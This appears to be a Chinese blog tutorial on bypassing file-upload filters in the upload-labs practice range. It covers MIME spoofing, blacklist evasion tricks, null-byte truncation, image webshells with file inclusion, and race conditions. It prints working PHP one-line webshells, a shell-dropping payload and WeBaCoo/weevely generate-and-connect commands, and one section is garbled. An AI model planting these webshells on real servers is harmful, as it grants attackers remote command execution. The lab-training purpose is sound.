【安全】P 6 文件上传漏洞(手工+工具)绕过合集

目录

0X01 绕过JS验证

JS验证代码分析

在这里插入图片描述

checkFile()检测文件后缀名
在这里插入图片描述

Burpsuite剔除响应JS

靶场是upload-labs

对于JS前端验证,直接删除掉JS代码之后就可以绕过JS验证。
在这里插入图片描述

浏览器审计工具剔除JS

利用浏览器的审查工具剔除JS之后,保存为新文件然后进行文件上传。
在这里插入图片描述
在这里插入图片描述

上传Webshell,菜刀连接

一句话木马:php

<?php @eval($_POST[“cmd”]); ?>

上传成功复制图片地址
在这里插入图片描述

0X02 绕过MIME-Type验证

MIME-Type介绍

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
例如:

类型 后缀名 所属
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg, .jpg image/jpeg
au声音文件 .au audio/ basic
MIDI 音乐文件 mid, .midi audio/midi, audio/x-midi
Realaudio音乐文件 .ra,. ram audio/x-pn- realaudio
MPEG文件 .mpg, .mpeg video/mpeg
Av文件 .avi video/x- msvideo

验证MIME-Type代码分析

查看源代码分析 使用$_FILE[‘upload_file’][‘type’]获取上传文件的MIME-Type类型。其中upload_file是在表单中定义的。
在这里插入图片描述

扫描二维码关注公众号,回复: 12575526 查看本文章

Burpsuite绕过MIME-Type验证

利用Burpsuite工具截断HTTP请求,在Repeater重放修改MIME-Type类型绕过验证。image/jpeg
在这里插入图片描述

菜刀连接 虚拟终端功能

一句话木马:php <?php @eval($_POST[“cmd”]); ?>
技巧:获取上传Webshell的地址,右键图片属性,进行连接。
在这里插入图片描述

0X03 绕过黑名单验证

基于文件后缀名验证介绍

对于文件上传模块来说,尽量避免上传可执行的脚本文件。为了防止上传脚本需要设置对应的验证方式。最简单的就是设置文件后缀名验证。
基于文件后缀名验证方式的分类:
1、基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。
2、基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。

基于黑名单验证代码分析

对于黑名单中的后缀名筛选。绕过黑名单可以通过寻找“漏网之鱼”,寻找某些可以被作为脚本执行同时也不在黑名单中。
在这里插入图片描述

Burpsuite绕过黑名单验证

利用Burpsuite工具截断HTTP请求,利用Intruder模块进行枚举后缀名,寻找黑名单中没有过滤的后缀名。
在这里插入图片描述

上传webshell菜刀连接

一句话木马:php <?php @eval($_POST[“pass”]); ?>
在这里插入图片描述

0X04 绕过黑名单验证(.htaccess)

.htaccess文件介绍

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
其中.htaccess文件内容:
SetHandler application/x-httpd-php
设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。

配置文件http.conf

在Apache中如果需要启动 .htaccess,必须在http.conf中设置 AllowOverride
在这里插入图片描述

审计黑名单过滤代码

在这里插入图片描述

在黑名单中,没有对.htaccess进行过滤,可以直接上传.htaccess来设置使用php解析任意文件。
文件内容:SetHandler application/x-httpd-php

制作图片phpinfo探针上传

使用文本编辑工具写入php代码:

<?php
  phpinfo();
?>

保存为1.jpg进行上传即可。
在这里插入图片描述

0X05 绕过黑名单验证 (大小写绕过)

大小写绕过原理

Windows系统下,对于文件名中的大小写不敏感。例如:test.php和TeSt.PHP是一样的。
Linux系统下,对于文件名中的大小写敏感。例如:test.php和 TesT.php就是不一样的。

基于黑名单验证的代码分析

分析黑名单验证代码:
在这里插入图片描述

可以清晰的看出,黑名单中增加了.htaccess的验证,但是缺少了对上传文件名获取的小写转换。

直接修改后缀名PhP上传

文件后缀名不一定必须在Burpsutie截断的HTTP请求中修改,可以直接修改文件后缀名进行上传。
在这里插入图片描述

WeBaCoo上传Webshell

WeBaCoo生成Webshell: webacoo -g -o a.php
上传Webshell
连接Webshell:webacoo -t -u Webshell地址
在这里插入图片描述

0X06 绕过黑名单验证 (空格绕过)

空格绕过原理

Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
针对这样的情况需要使用Burpsuite截断HTTP请求之后,修改对应的文件名 添加空格。

基于黑名单验证代码分析

经过代码分析可以看到代码中没有对上传文件的文件名做去空格处理。存在添加空格绕过黑名单问题。
在这里插入图片描述

Burpsuite绕过黑名单

利用Burpsuite工具截断HTTP请求,对上传的文件名后加空格。
在这里插入图片描述

##Webshell生成与上传
使用Webacoo生成Webshell: webacoo -g -o webshell.php
Burpsutie截断HTTP请求 修改对应的文件名,添加空格
使用Webacoo连接上传成功的Webshell : webacoo -t -u “url”

0X07 绕过黑名单验证 (.号绕过)

.号绕过原理

Windows系统下,文件后缀名最后一个点会被自动去除。
例如:
Windows下新建一个1.php.文件,查看。

基于黑名单验证代码分析

查看代码分析其中缺少去除文件名最后边点的处理,可以利用Windows系统特性,绕过黑名单。
在这里插入图片描述

Burpsuite绕过黑名单验证

利用Burpsuite工具截断HTTP请求,上传文件加 . 绕过上传。
在这里插入图片描述

生成并上传Webshell

使用weevely生成Webshell并上传。
1、生成:weevely generate 密码 路径 文件名
2、上传
3、连接:weevely shell文件地址 密码
在这里插入图片描述
在这里插入图片描述

0X08 绕过黑名单验证 (特殊符号)

特殊符号绕过原理

Windows系统下,如果上传的文件名中test.php:: D A T A 会 在 服 务 器 上 生 成 一 个 t e s t . p h p 的 文 件 , 其 中 内 容 和 所 上 传 文 件 内 容 相 同 , 并 被 解 析 。 例 如 : 在 W i n d o w s 系 统 下 新 建 一 个 文 件 名 为 1. p h p : : DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。 例如: 在Windows系统下新建一个文件名为 1.php:: DATAtest.phpWindows1.php::DATA的文件,查看效果。但是在Window下新建的文件名中包含特殊符号不能成功新建,使用kali创建。
在这里插入图片描述

基于黑名单验证代码分析

分析以下代码,发现没有黑名单过滤没有过滤掉 ::$DATA。
在这里插入图片描述

直接上传 1.php::$DATA

在Kali Linux下修改文件名为 1.php::$DATA进行上传
在这里插入图片描述

上传第三方Webshell

上传网络上公开的一些Webshell。
在这里插入图片描述

0X09 绕过黑名单验证(路径拼写绕过)

路径拼接绕过原理

在没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。
例如:
用户新建 1.php.+空格+.
deldot删除最后一个点之后,不再进行删除,trim删除空格,那么最终上传的文件名为 1.php.。
利用Windows自动去除最后一个点,导致成功上传1.php。

基于黑名单验证码分析

对代码进行分析,可得上传后的文件没有经过随机化重命名,直接保存在服务器上。
在这里插入图片描述

修改文件名绕过黑名单验证

在Kali linux下修改文件名,上传1.php. .文件
在这里插入图片描述

上传小Weshell,大Webshell

上传小Webshell,以绕过上传过程中对文件大小等限制,从而能够更加有效上传大Webshell。
在这里插入图片描述

在这里插入图片描述

0X10 绕过黑名单验证 (双写绕过)

双写绕过原理

代码编写过程中,只对黑名单中的内容进行空替换,因为只替换一次所以造成双写绕过。
例如:
1.phphpp
在这里插入图片描述

基于黑名单验证代码分析

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
该函数必须遵循下列规则:
如果搜索的字符串是一个数组,那么它将返回一个数组。
如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
注释:该函数不区分大小写。请使用 str_replace() 函数来执行区分大小写的搜索。
注释:该函数是二进制安全的。

绕过黑名单验证

直接将php文件后缀名修改为 phphpp
在这里插入图片描述

上传Webshell

小Webshell转义解决:修改Webshell代码如下。
在这里插入图片描述

0X11 绕过白名单验证 (00截断绕过)

00截断原理

0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。
系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。
在PHP5.3之后的版本中完全修复了00截断。并且00截断受限与GPC,addslashes函数

GET型00截断

GET型提交的内容会被自动进行URL解码。
注意:一定要关闭GPC,否则无法成功。
在这里插入图片描述
在这里插入图片描述

POST型00截断

在POST请求中,%00不会被自动解码,需要在16进制中进行修改00.
在这里插入图片描述

一句话代码执行Webshell

使用php中的函数system执行GET提交的参数。

<?php
  if($_GET){
    
    
  $cmd = $_GET["cmd"];
   system($cmd) ; 
  }else{
    
    
  echo "no cmd";
  }
 ?>

在这里插入图片描述

0X12 图片Webshell上传

图片Webshell制作

在服务端的PHP代码中,对于用户上传的文件做文件类型检查,查看文件格式是否符合上传规范。可以检查文件二进制格式的前几个字节,从而判断文件类型是否正确。
针对这种情况可以直接新建要给1.jpg,其中代码内容如下

GIF98A
<?php
  phpinfo();
?>

上传图片Webshell文件

将制作好的图片Webshell上传到服务器。
其中可能Content-Type验证。修改为image/gif 或 image/jpg 符合当前文件类型的MIME
在这里插入图片描述

文件包含漏洞代码分析

在PHP中,使用include、require、include_once、require_once函数包含的文件都会被当作PHP代码执行,
无论文件的名称是什么,只要符合文件内容符合PHP代码规范,都会被当作PHP代码执行。

<?php
  if($_GET){
    
    
  include($_GET[“file”])
  }
  else{
    
    
  echo “not get args file”;
  }
?>

结合文件包含输出phpinfo

利用存在文件包含的PHP页面,包含上传的图片Webshell,从而触发Webshell,输出对应的Phpinfo.
在这里插入图片描述

0X13 竞争条件

文件上传过程介绍

文件上传过程:
服务器湖区文件—》保存上传的临时文件—》重命名移动临时文件

竞争条件原理介绍

网站逻辑:
1、网站允许上传任意文件,然后检查上传文件是否包含Webshell,如果包含删除该文件。
2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
例如:上传文件代码如下

<?php
  fputs(fopen('shell.php','w'),'<?php @eval($_POST[“cmd”]) ?>');
?>

竞争条件代码分析

先进行上传,后进行判断与删除。利用时间差进行webshell上传。
在这里插入图片描述

竞争条件文件上传利用

提前不断访问代码文件,然后上传,最终使用菜刀连接一句话Webshell。
Python发送http请求:

import requests
while true:
  requests.get(“路径”)

在这里插入图片描述

单一测试速度达不到,就修改一下实验代码(upload-less17)
在这里插入图片描述

如有问题请各位师傅斧正

猜你喜欢

转载自blog.csdn.net/Z_David_Z/article/details/114196207